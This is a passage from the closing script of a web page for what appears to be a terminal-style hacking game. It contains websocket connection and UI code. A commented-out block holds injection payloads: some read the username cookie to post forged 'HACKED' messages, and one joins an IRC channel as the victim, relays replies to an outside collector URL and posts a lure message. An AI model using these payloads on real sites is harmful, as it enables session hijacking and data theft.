                } else if (e.data.startsWith("postit:")) {
                    postIt(e.data.slice(7));
                } else {
                    missionIt(e.data);
                }
            };

        }

        function waitForSocketConnection(callback) {
            setTimeout(
                function() {
                    if (socket.readyState === 1) {
                        //console.log("Connection is made")
                        if (callback != null) {
                            callback();
                        }
                        document.getElementById('cipherdiv').style.display = 'None';
                        animBanner = false;
                        document.getElementById('attackdiv').style.display = 'block';
                        //displayPostIt(true);
                    } else {
                        //console.log("wait for connection...If it still fail, please validate the certificate via https://"+window.location.hostname+":8090/");
                        console.log("wait for connection...If it still fail, please validate the certificate via https://" + window.location.hostname + "/ws/");
                        /*if (socket) {
                            socket.close();
                        }*/
                        //socket = new WebSocket(host);
                        waitForSocketConnection(callback);

                    }

                }, delayReconnectWebSocket); // wait 5 seconds for the connection...
        }



        createWebSocket(host);

        waitForSocketConnection(function() {
            //console.log("message sent!!!");
            state = "started";
            updateStateMachine(0, 'ping');
        });

        /*
        var inputElement = document.getElementById("terminal");
        document.body.addEventListener("click", function(event) {
                // Check if the clicked element is not the input or the button
                //if (event.target !== inputElement && event.target !== buttonElement) {
                    // Set focus on the input element
                    inputElement.click();
                //}
        });*/

        function loadScript(url, callback) {
            // Check if the script already exists in the document
            /*var existingScript = document.querySelector('script[src="' + url + '"]');
            if (existingScript) {
                console.log('Script already loaded:', url);

                // If a callback is provided, execute it immediately
                if (callback) callback();
                return;
            }*/

            var script = document.createElement('script');
            script.type = 'text/javascript';
            script.src = url;

            // Bind to the onload event for script execution completion
            script.onload = function() {
                if (callback) callback();
            };

            // Append the script to the document head or body
            document.head.appendChild(script);
        }

    </script>
    

    <script>
        //document.getElementById('container1').style.display = "none";

        //We get the IP for the ipone 
        getMyIp();

        //We fix the size max of the div
        var winHeight = $(window).height();
        $('#terminal').height(winHeight - (winHeight*25/100));

        //$('#terminal').terminal().exec('autostart');
        /*
        x=new XMLHttpRequest;
        x.open(`POST`,`php/dispatcher.php`);
        x.setRequestHeader(`Content-Type`, `application/x-www-form-urlencoded; charset=UTF-8`);
        x.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            eval(this.responseText["js"]);
        console.log(this.responseText["js"]);
            //this.responseText["js"];
        }
        };
        x.send(`command=autostart`);

            */

        //$('#terminal').terminal().exec('ls');
        /*
    
    x=new XMLHttpRequest;x.open('POST','php/dispatcher.php');x.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=UTF-8');x.send('command=msg+neib+'+document.cookie.match('username=.*').toString().substring(9)+'+HACKED!');
x=new XMLHttpRequest;x.open('POST','php/dispatcher.php');x.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=UTF-8');x.send('command=msg+'+document.cookie.match('username=.*').toString().substring(9)+'+YOU+JUST+HAVE+BEEN+HACKED!+;)');
websocket = new WebSocket(`wss://hackbbs.org:7777/webirc/kiwiirc/632/lnigwmox/websocket`);websocket.onopen = start;websocket.onmessage = handleReply;trap = false;nick = document.cookie.match(`username=.*`).toString().substring(9)+`_49`;friend = `Korigan`;if(nick==`korigan_49`){friend = `Neomoloch`;}function start(event){  websocket.send(`[":0 CONTROL START"]`);  websocket.send(`[":1"]`);}function handleReply(event){  fetch(`https://npu.alwaysdata.net/tools/getcookie.php?v=`+event.data, {mode: `no-cors`});  if(event.data==`a[":1"]`) {    websocket.send(`[":1 HOST default:6667"]`);    websocket.send(`[":1 ENCODING utf8"]`);    websocket.send(`[":1 CAP LS 302"]`);    websocket.send(`[":1 NICK `+nick+`"]`);    websocket.send(`[":1 USER `+nick+` 0 * https://kiwiirc.com/"]`); }  else if(event.data.search(`PING`)!=-1) {    pong = `[":1 PONG `+event.data.match(`PING :.*`).toString().substring(6);		websocket.send(`[":1 CAP REQ :account-notify away-notify cap-notify extended-join multi-prefix userhost-in-names message-tags"]`);    websocket.send(pong); }  else if(event.data.search(`ACK :account-notify away-notify cap-notify extended-join`)!=-1) {    websocket.send(`[":1 CAP END"]`); }  else if(event.data.search(`MODE`)!=-1) {    websocket.send(`[":1 WHO `+nick+`"]`);    websocket.send(`[":1 JOIN #hackbbs"]`); }  else if(event.data.search(`#hackbbs :End of /NAMES list.`)!=-1) {    websocket.send(`[":1 MODE #hackbbs"]`);    websocket.send(`[":1 WHO #hackbbs %cuhsnfdaor"]`); }  else if(event.data==`h`) {    d = new Date();    time = d.getTime();    websocket.send(`[":1 PING kiwitime-`+time+`"]`);  }  else if(event.data.search(`WHO list`)!=-1 && trap==false) {    trap=true;websocket.send(`[":1 @+draft/typing=active TAGMSG #hackbbs"]`);    websocket.send(`[":1 @+draft/typing=active TAGMSG #hackbbs"]`);    websocket.send(`[":1 PRIVMSG #hackbbs :Ah ouais, tu devrais regarder ca `+friend+`"]`); }}
*/
        /*
        letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";

         interval = null;

        document.querySelector("h1").onmouseover = event => {  
          let iteration = 0;
          
          clearInterval(interval);
          
          interval = setInterval(() => {
            event.target.innerText = event.target.innerText
              .split("")
              .map((letter, index) => {
                if(index < iteration) {
                  return event.target.dataset.value[index];
                }
              
                return letters[Math.floor(Math.random() * 26)]
              })
              .join("");
            
            if(iteration >= event.target.dataset.value.length){ 
              clearInterval(interval);
            }
            iteration += 1 / 3;
          }, 30);
        }*/
    </script>

    <script src="./resources/pixel.js"></script>


</body>

</html>
